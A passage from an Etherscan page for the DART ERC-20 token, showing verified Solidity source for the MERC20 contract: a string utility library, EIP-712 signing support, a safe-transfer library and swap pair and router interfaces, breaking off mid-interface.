ERC-20
Overview
Max Total Supply
1,000,000 DART
Holders
47
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,642.855633277044941212 DARTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MERC20
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-30 */ // File: contracts/utils/LibString.sol pragma solidity ^0.8.4; /// @notice Library for converting numbers into strings and other string operations. /// @author SolDAO (https://github.com/Sol-DAO/solbase/blob/main/src/utils/LibString.sol) /// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/LibString.sol) library LibString { /// ----------------------------------------------------------------------- /// Custom Errors /// ----------------------------------------------------------------------- /// @dev The `length` of the output is too small to contain all the hex digits. error HexLengthInsufficient(); /// ----------------------------------------------------------------------- /// Constants /// ----------------------------------------------------------------------- /// @dev The constant returned when the `search` is not found in the string. uint256 internal constant NOT_FOUND = uint256(int256(-1)); /// ----------------------------------------------------------------------- /// Decimal Operations /// ----------------------------------------------------------------------- /// @dev Returns the base 10 decimal representation of `value`. function toString(uint256 value) internal pure returns (string memory str) { assembly { // The maximum value of a uint256 contains 78 digits (1 byte per digit), but // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned. // We will need 1 word for the trailing zeros padding, 1 word for the length, // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0. let m := add(mload(0x40), 0xa0) // Update the free memory pointer to allocate. mstore(0x40, m) // Assign the `str` to the end. str := sub(m, 0x20) // Zeroize the slot after the string. mstore(str, 0) // Cache the end of the memory to calculate the length later. let end := str // We write the string from rightmost digit to leftmost digit. // The following is essentially a do-while loop that also handles the zero case. // prettier-ignore for { let temp := value } 1 {} { str := sub(str, 1) // Write the character to the pointer. // The ASCII index of the '0' character is 48. mstore8(str, add(48, mod(temp, 10))) // Keep dividing `temp` until zero. temp := div(temp, 10) // prettier-ignore if iszero(temp) { break } } let length := sub(end, str) // Move the pointer 32 bytes leftwards to make room for the length. str := sub(str, 0x20) // Store the length. mstore(str, length) } } /// ----------------------------------------------------------------------- /// Hexadecimal Operations /// ----------------------------------------------------------------------- /// @dev Returns the hexadecimal representation of `value`, /// left-padded to an input length of `length` bytes. /// The output is prefixed with "0x" encoded using 2 hexadecimal digits per byte, /// giving a total length of `length * 2 + 2` bytes. /// Reverts if `length` is too small for the output to contain all the digits. function toHexString(uint256 value, uint256 length) internal pure returns (string memory str) { assembly { let start := mload(0x40) // We need 0x20 bytes for the trailing zeros padding, `length * 2` bytes // for the digits, 0x02 bytes for the prefix, and 0x20 bytes for the length. // We add 0x20 to the total and round down to a multiple of 0x20. // (0x20 + 0x20 + 0x02 + 0x20) = 0x62. let m := add(start, and(add(shl(1, length), 0x62), not(0x1f))) // Allocate the memory. mstore(0x40, m) // Assign the `str` to the end. str := sub(m, 0x20) // Zeroize the slot after the string. mstore(str, 0) // Cache the end to calculate the length later. let end := str // Store "0123456789abcdef" in scratch space. mstore(0x0f, 0x30313233343536373839616263646566) let temp := value // We write the string from rightmost digit to leftmost digit. // The following is essentially a do-while loop that also handles the zero case. // prettier-ignore for {} 1 {} { str := sub(str, 2) mstore8(add(str, 1), mload(and(temp, 15))) mstore8(str, mload(and(shr(4, temp), 15))) temp := shr(8, temp) length := sub(length, 1) // prettier-ignore if iszero(length) { break } } if temp { // Store the function selector of `HexLengthInsufficient()`. mstore(0x00, 0x2194895a) // Revert with (offset, size). revert(0x1c, 0x04) } // Compute the string's length. let strLength := add(sub(end, str), 2) // Move the pointer and write the "0x" prefix. str := sub(str, 0x20) mstore(str, 0x3078) // Move the pointer and write the length. str := sub(str, 2) mstore(str, strLength) } } /// @dev Returns the hexadecimal representation of `value`. /// The output is prefixed with "0x" and encoded using 2 hexadecimal digits per byte. /// As address are 20 bytes long, the output will left-padded to have /// a length of `20 * 2 + 2` bytes. function toHexString(uint256 value) internal pure returns (string memory str) { assembly { let start := mload(0x40) // We need 0x20 bytes for the trailing zeros padding, 0x20 bytes for the length, // 0x02 bytes for the prefix, and 0x40 bytes for the digits. // The next multiple of 0x20 above (0x20 + 0x20 + 0x02 + 0x40) is 0xa0. let m := add(start, 0xa0) // Allocate the memory. mstore(0x40, m) // Assign the `str` to the end. str := sub(m, 0x20) // Zeroize the slot after the string. mstore(str, 0) // Cache the end to calculate the length later. let end := str // Store "0123456789abcdef" in scratch space. mstore(0x0f, 0x30313233343536373839616263646566) // We write the string from rightmost digit to leftmost digit. // The following is essentially a do-while loop that also handles the zero case. // prettier-ignore for { let temp := value } 1 {} { str := sub(str, 2) mstore8(add(str, 1), mload(and(temp, 15))) mstore8(str, mload(and(shr(4, temp), 15))) temp := shr(8, temp) // prettier-ignore if iszero(temp) { break } } // Compute the string's length. let strLength := add(sub(end, str), 2) // Move the pointer and write the "0x" prefix. str := sub(str, 0x20) mstore(str, 0x3078) // Move the pointer and write the length. str := sub(str, 2) mstore(str, strLength) } } /// @dev Returns the hexadecimal representation of `value`. /// The output is prefixed with "0x" and encoded using 2 hexadecimal digits per byte. function toHexString(address value) internal pure returns (string memory str) { assembly { let start := mload(0x40) // We need 0x20 bytes for the length, 0x02 bytes for the prefix, // and 0x28 bytes for the digits. // The next multiple of 0x20 above (0x20 + 0x02 + 0x28) is 0x60. str := add(start, 0x60) // Allocate the memory. mstore(0x40, str) // Store "0123456789abcdef" in scratch space. mstore(0x0f, 0x30313233343536373839616263646566) let length := 20 // We write the string from rightmost digit to leftmost digit. // The following is essentially a do-while loop that also handles the zero case. // prettier-ignore for { let temp := value } 1 {} { str := sub(str, 2) mstore8(add(str, 1), mload(and(temp, 15))) mstore8(str, mload(and(shr(4, temp), 15))) temp := shr(8, temp) length := sub(length, 1) // prettier-ignore if iszero(length) { break } } // Move the pointer and write the "0x" prefix. str := sub(str, 32) mstore(str, 0x3078) // Move the pointer and write the length. str := sub(str, 2) mstore(str, 42) } } /// ----------------------------------------------------------------------- /// Other String Operations /// ----------------------------------------------------------------------- // For performance and bytecode compactness, all indices of the following operations // are byte (ASCII) offsets, not UTF character offsets. /// @dev Returns `subject` all occurances of `search` replaced with `replacement`. function replace( string memory subject, string memory search, string memory replacement ) internal pure returns (string memory result) { assembly { let subjectLength := mload(subject) let searchLength := mload(search) let replacementLength := mload(replacement) subject := add(subject, 0x20) search := add(search, 0x20) replacement := add(replacement, 0x20) result := add(mload(0x40), 0x20) let subjectEnd := add(subject, subjectLength) if iszero(gt(searchLength, subjectLength)) { let subjectSearchEnd := add(sub(subjectEnd, searchLength), 1) let h := 0 if iszero(lt(searchLength, 32)) { h := keccak256(search, searchLength) } let m := shl(3, sub(32, and(searchLength, 31))) let s := mload(search) // prettier-ignore for {} 1 {} { let t := mload(subject) // Whether the first `searchLength % 32` bytes of // `subject` and `search` matches. if iszero(shr(m, xor(t, s))) { if h { if iszero(eq(keccak256(subject, searchLength), h)) { mstore(result, t) result := add(result, 1) subject := add(subject, 1) // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } continue } } // Copy the `replacement` one word at a time. // prettier-ignore for { let o := 0 } 1 {} { mstore(add(result, o), mload(add(replacement, o))) o := add(o, 0x20) // prettier-ignore if iszero(lt(o, replacementLength)) { break } } result := add(result, replacementLength) subject := add(subject, searchLength) if searchLength { // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } continue } } mstore(result, t) result := add(result, 1) subject := add(subject, 1) // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } } } let resultRemainder := result result := add(mload(0x40), 0x20) let k := add(sub(resultRemainder, result), sub(subjectEnd, subject)) // Copy the rest of the string one word at a time. // prettier-ignore for {} lt(subject, subjectEnd) {} { mstore(resultRemainder, mload(subject)) resultRemainder := add(resultRemainder, 0x20) subject := add(subject, 0x20) } result := sub(result, 0x20) // Zeroize the slot after the string. let last := add(add(result, 0x20), k) mstore(last, 0) // Allocate memory for the length and the bytes, // rounded up to a multiple of 32. mstore(0x40, and(add(last, 31), not(31))) // Store the length of the result. mstore(result, k) } } /// @dev Returns the byte index of the first location of `search` in `subject`, /// searching from left to right, starting from `from`. /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found. function indexOf(string memory subject, string memory search, uint256 from) internal pure returns (uint256 result) { assembly { // prettier-ignore for { let subjectLength := mload(subject) } 1 {} { if iszero(mload(search)) { // `result = min(from, subjectLength)`. result := xor(from, mul(xor(from, subjectLength), lt(subjectLength, from))) break } let searchLength := mload(search) let subjectStart := add(subject, 0x20) result := not(0) // Initialize to `NOT_FOUND`. subject := add(subjectStart, from) let subjectSearchEnd := add(sub(add(subjectStart, subjectLength), searchLength), 1) let m := shl(3, sub(32, and(searchLength, 31))) let s := mload(add(search, 0x20)) // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } if iszero(lt(searchLength, 32)) { // prettier-ignore for { let h := keccak256(add(search, 0x20), searchLength) } 1 {} { if iszero(shr(m, xor(mload(subject), s))) { if eq(keccak256(subject, searchLength), h) { result := sub(subject, subjectStart) break } } subject := add(subject, 1) // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } } break } // prettier-ignore for {} 1 {} { if iszero(shr(m, xor(mload(subject), s))) { result := sub(subject, subjectStart) break } subject := add(subject, 1) // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } } break } } } /// @dev Returns the byte index of the first location of `search` in `subject`, /// searching from left to right. /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found. function indexOf(string memory subject, string memory search) internal pure returns (uint256 result) { result = indexOf(subject, search, 0); } /// @dev Returns the byte index of the first location of `search` in `subject`, /// searching from right to left, starting from `from`. /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found. function lastIndexOf( string memory subject, string memory search, uint256 from ) internal pure returns (uint256 result) { assembly { // prettier-ignore for {} 1 {} { let searchLength := mload(search) let fromMax := sub(mload(subject), searchLength) if iszero(gt(fromMax, from)) { from := fromMax } if iszero(mload(search)) { result := from break } result := not(0) // Initialize to `NOT_FOUND`. let subjectSearchEnd := sub(add(subject, 0x20), 1) subject := add(add(subject, 0x20), from) // prettier-ignore if iszero(gt(subject, subjectSearchEnd)) { break } // As this function is not too often used, // we shall simply use keccak256 for smaller bytecode size. // prettier-ignore for { let h := keccak256(add(search, 0x20), searchLength) } 1 {} { if eq(keccak256(subject, searchLength), h) { result := sub(subject, add(subjectSearchEnd, 1)) break } subject := sub(subject, 1) // prettier-ignore if iszero(gt(subject, subjectSearchEnd)) { break } } break } } } /// @dev Returns the index of the first location of `search` in `subject`, /// searching from right to left. /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found. function lastIndexOf(string memory subject, string memory search) internal pure returns (uint256 result) { result = lastIndexOf(subject, search, uint256(int256(-1))); } /// @dev Returns whether `subject` starts with `search`. function startsWith(string memory subject, string memory search) internal pure returns (bool result) { assembly { let searchLength := mload(search) // Just using keccak256 directly is actually cheaper. result := and( iszero(gt(searchLength, mload(subject))), eq(keccak256(add(subject, 0x20), searchLength), keccak256(add(search, 0x20), searchLength)) ) } } /// @dev Returns whether `subject` ends with `search`. function endsWith(string memory subject, string memory search) internal pure returns (bool result) { assembly { let searchLength := mload(search) let subjectLength := mload(subject) // Whether `search` is not longer than `subject`. let withinRange := iszero(gt(searchLength, subjectLength)) // Just using keccak256 directly is actually cheaper. result := and( withinRange, eq( keccak256( // `subject + 0x20 + max(subjectLength - searchLength, 0)`. add(add(subject, 0x20), mul(withinRange, sub(subjectLength, searchLength))), searchLength ), keccak256(add(search, 0x20), searchLength) ) ) } } /// @dev Returns `subject` repeated `times`. function repeat(string memory subject, uint256 times) internal pure returns (string memory result) { assembly { let subjectLength := mload(subject) if iszero(or(iszero(times), iszero(subjectLength))) { subject := add(subject, 0x20) result := mload(0x40) let output := add(result, 0x20) // prettier-ignore for {} 1 {} { // Copy the `subject` one word at a time. // prettier-ignore for { let o := 0 } 1 {} { mstore(add(output, o), mload(add(subject, o))) o := add(o, 0x20) // prettier-ignore if iszero(lt(o, subjectLength)) { break } } output := add(output, subjectLength) times := sub(times, 1) // prettier-ignore if iszero(times) { break } } // Zeroize the slot after the string. mstore(output, 0) // Store the length. let resultLength := sub(output, add(result, 0x20)) mstore(result, resultLength) // Allocate memory for the length and the bytes, // rounded up to a multiple of 32. mstore(0x40, add(result, and(add(resultLength, 63), not(31)))) } } } /// @dev Returns a copy of `subject` sliced from `start` to `end` (exclusive). /// `start` and `end` are byte offsets. function slice(string memory subject, uint256 start, uint256 end) internal pure returns (string memory result) { assembly { let subjectLength := mload(subject) if iszero(gt(subjectLength, end)) { end := subjectLength } if iszero(gt(subjectLength, start)) { start := subjectLength } if lt(start, end) { result := mload(0x40) let resultLength := sub(end, start) mstore(result, resultLength) subject := add(subject, start) // Copy the `subject` one word at a time, backwards. // prettier-ignore for { let o := and(add(resultLength, 31), not(31)) } 1 {} { mstore(add(result, o), mload(add(subject, o))) o := sub(o, 0x20) // prettier-ignore if iszero(o) { break } } // Zeroize the slot after the string. mstore(add(add(result, 0x20), resultLength), 0) // Allocate memory for the length and the bytes, // rounded up to a multiple of 32. mstore(0x40, add(result, and(add(resultLength, 63), not(31)))) } } } /// @dev Returns a copy of `subject` sliced from `start` to the end of the string. /// `start` is a byte offset. function slice(string memory subject, uint256 start) internal pure returns (string memory result) { result = slice(subject, start, uint256(int256(-1))); } /// @dev Returns all the indices of `search` in `subject`. /// The indices are byte offsets. function indicesOf(string memory subject, string memory search) internal pure returns (uint256[] memory result) { assembly { let subjectLength := mload(subject) let searchLength := mload(search) if iszero(gt(searchLength, subjectLength)) { subject := add(subject, 0x20) search := add(search, 0x20) result := add(mload(0x40), 0x20) let subjectStart := subject let subjectSearchEnd := add(sub(add(subject, subjectLength), searchLength), 1) let h := 0 if iszero(lt(searchLength, 32)) { h := keccak256(search, searchLength) } let m := shl(3, sub(32, and(searchLength, 31))) let s := mload(search) // prettier-ignore for {} 1 {} { let t := mload(subject) // Whether the first `searchLength % 32` bytes of // `subject` and `search` matches. if iszero(shr(m, xor(t, s))) { if h { if iszero(eq(keccak256(subject, searchLength), h)) { subject := add(subject, 1) // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } continue } } // Append to `result`. mstore(result, sub(subject, subjectStart)) result := add(result, 0x20) // Advance `subject` by `searchLength`. subject := add(subject, searchLength) if searchLength { // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } continue } } subject := add(subject, 1) // prettier-ignore if iszero(lt(subject, subjectSearchEnd)) { break } } let resultEnd := result // Assign `result` to the free memory pointer. result := mload(0x40) // Store the length of `result`. mstore(result, shr(5, sub(resultEnd, add(result, 0x20)))) // Allocate memory for result. // We allocate one more word, so this array can be recycled for {split}. mstore(0x40, add(resultEnd, 0x20)) } } } /// @dev Returns a arrays of strings based on the `delimiter` inside of the `subject` string. function split(string memory subject, string memory delimiter) internal pure returns (string[] memory result) { uint256[] memory indices = indicesOf(subject, delimiter); assembly { if mload(indices) { let indexPtr := add(indices, 0x20) let indicesEnd := add(indexPtr, shl(5, add(mload(indices), 1))) mstore(sub(indicesEnd, 0x20), mload(subject)) mstore(indices, add(mload(indices), 1)) let prevIndex := 0 // prettier-ignore for {} 1 {} { let index := mload(indexPtr) mstore(indexPtr, 0x60) if iszero(eq(index, prevIndex)) { let element := mload(0x40) let elementLength := sub(index, prevIndex) mstore(element, elementLength) // Copy the `subject` one word at a time, backwards. // prettier-ignore for { let o := and(add(elementLength, 31), not(31)) } 1 {} { mstore(add(element, o), mload(add(add(subject, prevIndex), o))) o := sub(o, 0x20) // prettier-ignore if iszero(o) { break } } // Zeroize the slot after the string. mstore(add(add(element, 0x20), elementLength), 0) // Allocate memory for the length and the bytes, // rounded up to a multiple of 32. mstore(0x40, add(element, and(add(elementLength, 63), not(31)))) // Store the `element` into the array. mstore(indexPtr, element) } prevIndex := add(index, mload(delimiter)) indexPtr := add(indexPtr, 0x20) // prettier-ignore if iszero(lt(indexPtr, indicesEnd)) { break } } result := indices if iszero(mload(delimiter)) { result := add(indices, 0x20) mstore(result, sub(mload(indices), 2)) } } } } /// @dev Returns a concatenated string of `a` and `b`. /// Cheaper than `string.concat()` and does not de-align the free memory pointer. function concat(string memory a, string memory b) internal pure returns (string memory result) { assembly { result := mload(0x40) let aLength := mload(a) // Copy `a` one word at a time, backwards. // prettier-ignore for { let o := and(add(mload(a), 32), not(31)) } 1 {} { mstore(add(result, o), mload(add(a, o))) o := sub(o, 0x20) // prettier-ignore if iszero(o) { break } } let bLength := mload(b) let output := add(result, mload(a)) // Copy `b` one word at a time, backwards. // prettier-ignore for { let o := and(add(bLength, 32), not(31)) } 1 {} { mstore(add(output, o), mload(add(b, o))) o := sub(o, 0x20) // prettier-ignore if iszero(o) { break } } let totalLength := add(aLength, bLength) let last := add(add(result, 0x20), totalLength) // Zeroize the slot after the string. mstore(last, 0) // Stores the length. mstore(result, totalLength) // Allocate memory for the length and the bytes, // rounded up to a multiple of 32. mstore(0x40, and(add(last, 31), not(31))) } } /// @dev Packs a single string with its length into a single word. /// Returns `bytes32(0)` if the length is zero or greater than 31. function packOne(string memory a) internal pure returns (bytes32 result) { assembly { // We don't need to zero right pad the string, // since this is our own custom non-standard packing scheme. result := mul( // Load the length and the bytes. mload(add(a, 0x1f)), // `length != 0 && length < 32`. Abuses underflow. // Assumes that the length is valid and within the block gas limit. lt(sub(mload(a), 1), 0x1f) ) } } /// @dev Unpacks a string packed using {packOne}. /// Returns the empty string if `packed` is `bytes32(0)`. /// If `packed` is not an output of {packOne}, the output behaviour is undefined. function unpackOne(bytes32 packed) internal pure returns (string memory result) { assembly { // Grab the free memory pointer. result := mload(0x40) // Allocate 2 words (1 for the length, 1 for the bytes). mstore(0x40, add(result, 0x40)) // Zeroize the length slot. mstore(result, 0) // Store the length and bytes. mstore(add(result, 0x1f), packed) // Right pad with zeroes. mstore(add(add(result, 0x20), mload(result)), 0) } } /// @dev Packs two strings with their lengths into a single word. /// Returns `bytes32(0)` if combined length is zero or greater than 30. function packTwo(string memory a, string memory b) internal pure returns (bytes32 result) { assembly { let aLength := mload(a) // We don't need to zero right pad the strings, // since this is our own custom non-standard packing scheme. result := mul( // Load the length and the bytes of `a` and `b`. or(shl(shl(3, sub(0x1f, aLength)), mload(add(a, aLength))), mload(sub(add(b, 0x1e), aLength))), // `totalLength != 0 && totalLength < 31`. Abuses underflow. // Assumes that the lengths are valid and within the block gas limit. lt(sub(add(aLength, mload(b)), 1), 0x1e) ) } } /// @dev Unpacks strings packed using {packTwo}. /// Returns the empty strings if `packed` is `bytes32(0)`. /// If `packed` is not an output of {packTwo}, the output behaviour is undefined. function unpackTwo(bytes32 packed) internal pure returns (string memory resultA, string memory resultB) { assembly { // Grab the free memory pointer. resultA := mload(0x40) resultB := add(resultA, 0x40) // Allocate 2 words for each string (1 for the length, 1 for the byte). Total 4 words. mstore(0x40, add(resultB, 0x40)) // Zeroize the length slots. mstore(resultA, 0) mstore(resultB, 0) // Store the lengths and bytes. mstore(add(resultA, 0x1f), packed) mstore(add(resultB, 0x1f), mload(add(add(resultA, 0x20), mload(resultA)))) // Right pad with zeroes. mstore(add(add(resultA, 0x20), mload(resultA)), 0) mstore(add(add(resultB, 0x20), mload(resultB)), 0) } } /// @dev Directly returns `a` without copying. function directReturn(string memory a) internal pure { assembly { // Right pad with zeroes. Just in case the string is produced // by a method that doesn't zero right pad. mstore(add(add(a, 0x20), mload(a)), 0) // Store the return offset. // Assumes that the string does not start from the scratch space. mstore(sub(a, 0x20), 0x20) // End the transaction, returning the string. return(sub(a, 0x20), add(mload(a), 0x40)) } } } // File: contracts/interfaces/IERC5267.sol // OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC5267.sol) pragma solidity ^0.8.19; interface IERC5267 { /** * @dev MAY be emitted to signal that the domain could have changed. */ event EIP712DomainChanged(); /** * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712 * signature. */ function eip712Domain() external view returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ); } // File: contracts/abstracts/EIP712.sol pragma solidity ^0.8.19; abstract contract EIP712 is IERC5267 { using LibString for *; bytes32 internal constant DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; bytes32 internal immutable DOMAIN_NAME; bytes32 internal immutable HASHED_DOMAIN_NAME; bytes32 internal immutable DOMAIN_VERSION; bytes32 internal immutable HASHED_DOMAIN_VERSION; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; uint256 internal immutable INITIAL_CHAIN_ID; constructor(string memory domainName, string memory version) { DOMAIN_NAME = domainName.packOne(); HASHED_DOMAIN_NAME = keccak256(bytes(domainName)); DOMAIN_VERSION = version.packOne(); HASHED_DOMAIN_VERSION = keccak256(bytes(version)); INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); INITIAL_CHAIN_ID = block.chainid; } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function eip712Domain() public view virtual returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ) { return ( hex"0f", DOMAIN_NAME.unpackOne(), DOMAIN_VERSION.unpackOne(), block.chainid, address(this), bytes32(0), new uint256[](0) ); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode(DOMAIN_TYPEHASH, HASHED_DOMAIN_NAME, HASHED_DOMAIN_VERSION, block.chainid, address(this)) ); } function computeDigest(bytes32 hashStruct) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), hashStruct)); } } // File: contracts/abstracts/Context.sol pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _msgValue() internal view virtual returns(uint256) { return msg.value; } } // File: contracts/utils/SafeTransfer.sol pragma solidity ^0.8.4; /// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values. /// @author SolDAO (https://github.com/Sol-DAO/solbase/blob/main/src/utils/SafeTransferLib.sol) /// @author Modified from Solady (https://github.com/vectorized/solady/blob/main/src/utils/SafeTransferLib.sol) /// @dev Caution! This library won't check that a token has code, responsibility is delegated to the caller. library SafeTransfer { /// ----------------------------------------------------------------------- /// Custom Errors /// ----------------------------------------------------------------------- /// @dev The ETH transfer has failed. error ETHTransferFailed(); /// @dev The ERC20 `approve` has failed. error ApproveFailed(); /// @dev The ERC20 `transfer` has failed. error TransferFailed(); /// @dev The ERC20 `burn` has failed. error BurnFailed(); /// @dev The ERC20 `transferFrom` has failed. error TransferFromFailed(); /// ----------------------------------------------------------------------- /// ETH Operations /// ----------------------------------------------------------------------- /// @dev Sends `amount` (in wei) ETH to `to`. /// Reverts upon failure. function safeTransferETH(address to, uint256 amount) internal { /// @solidity memory-safe-assembly assembly { // Transfer the ETH and check if it succeeded or not. if iszero(call(gas(), to, amount, 0, 0, 0, 0)) { // Store the function selector of `ETHTransferFailed()`. mstore(0x00, 0xb12d13eb) // Revert with (offset, size). revert(0x1c, 0x04) } } } /// ----------------------------------------------------------------------- /// ERC20 Operations /// ----------------------------------------------------------------------- /// @dev Sets `amount` of ERC20 `token` for `to` to manage on behalf of the current contract. /// Reverts upon failure. function safeApprove(address token, address to, uint256 amount) internal { /// @solidity memory-safe-assembly assembly { // We'll write our calldata to this slot below, but restore it later. let memPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(0x00, 0x095ea7b3) mstore(0x20, to) // Append the "to" argument. mstore(0x40, amount) // Append the "amount" argument. if iszero( and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (can't just be non-zero data), or had no return data. or(eq(mload(0x00), 1), iszero(returndatasize())), // We use 0x44 because that's the total length of our calldata (0x04 + 0x20 * 2) // Counterintuitively, this call() must be positioned after the or() in the // surrounding and() because and() evaluates its arguments from right to left. call(gas(), token, 0, 0x1c, 0x44, 0x00, 0x20) ) ) { // Store the function selector of `ApproveFailed()`. mstore(0x00, 0x3e3f8f73) // Revert with (offset, size). revert(0x1c, 0x04) } mstore(0x40, memPointer) // Restore the memPointer. } } /// @dev Sends `amount` of ERC20 `token` from the current contract to `to`. /// Reverts upon failure. function safeTransfer(address token, address to, uint256 amount) internal { /// @solidity memory-safe-assembly assembly { // We'll write our calldata to this slot below, but restore it later. let memPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(0x00, 0xa9059cbb) mstore(0x20, to) // Append the "to" argument. mstore(0x40, amount) // Append the "amount" argument. if iszero( and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (can't just be non-zero data), or had no return data. or(eq(mload(0x00), 1), iszero(returndatasize())), // We use 0x44 because that's the total length of our calldata (0x04 + 0x20 * 2) // Counterintuitively, this call() must be positioned after the or() in the // surrounding and() because and() evaluates its arguments from right to left. call(gas(), token, 0, 0x1c, 0x44, 0x00, 0x20) ) ) { // Store the function selector of `TransferFailed()`. mstore(0x00, 0x90b8ec18) // Revert with (offset, size). revert(0x1c, 0x04) } mstore(0x40, memPointer) // Restore the memPointer. } } function safeBurn(address token, uint256 amount) internal { /// @solidity memory-safe-assembly assembly { // We'll write our calldata to this slot below, but restore it later. let memPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(0x00, 0x42966c68) mstore(0x20, amount) // Append the "amount" argument. if iszero( and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (can't just be non-zero data), or had no return data. or(eq(mload(0x00), 1), iszero(returndatasize())), // We use 0x44 because that's the total length of our calldata (0x04 + 0x20 * 1) // Counterintuitively, this call() must be positioned after the or() in the // surrounding and() because and() evaluates its arguments from right to left. call(gas(), token, 0, 0x1c, 0x24, 0x00, 0x20) ) ) { // Store the function selector of `BurnFailed()`. mstore(0x00, 0x6f16aafc) // Revert with (offset, size). revert(0x1c, 0x04) } mstore(0x40, memPointer) // Restore the memPointer. } } /// @dev Sends `amount` of ERC20 `token` from `from` to `to`. /// Reverts upon failure. /// /// The `from` account must have at least `amount` approved for /// the current contract to manage. function safeTransferFrom(address token, address from, address to, uint256 amount) internal { /// @solidity memory-safe-assembly assembly { // We'll write our calldata to this slot below, but restore it later. let memPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(0x00, 0x23b872dd) mstore(0x20, from) // Append the "from" argument. mstore(0x40, to) // Append the "to" argument. mstore(0x60, amount) // Append the "amount" argument. if iszero( and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (can't just be non-zero data), or had no return data. or(eq(mload(0x00), 1), iszero(returndatasize())), // We use 0x64 because that's the total length of our calldata (0x04 + 0x20 * 3) // Counterintuitively, this call() must be positioned after the or() in the // surrounding and() because and() evaluates its arguments from right to left. call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20) ) ) { // Store the function selector of `TransferFromFailed()`. mstore(0x00, 0x7939f424) // Revert with (offset, size). revert(0x1c, 0x04) } mstore(0x60, 0) // Restore the zero slot to zero. mstore(0x40, memPointer) // Restore the memPointer. } } } // File: contracts/swap/IPair.sol pragma solidity ^0.8.8; interface IPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/swap/ISwapRouter.sol pragma solidity ^0.8.8; interface ISwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool 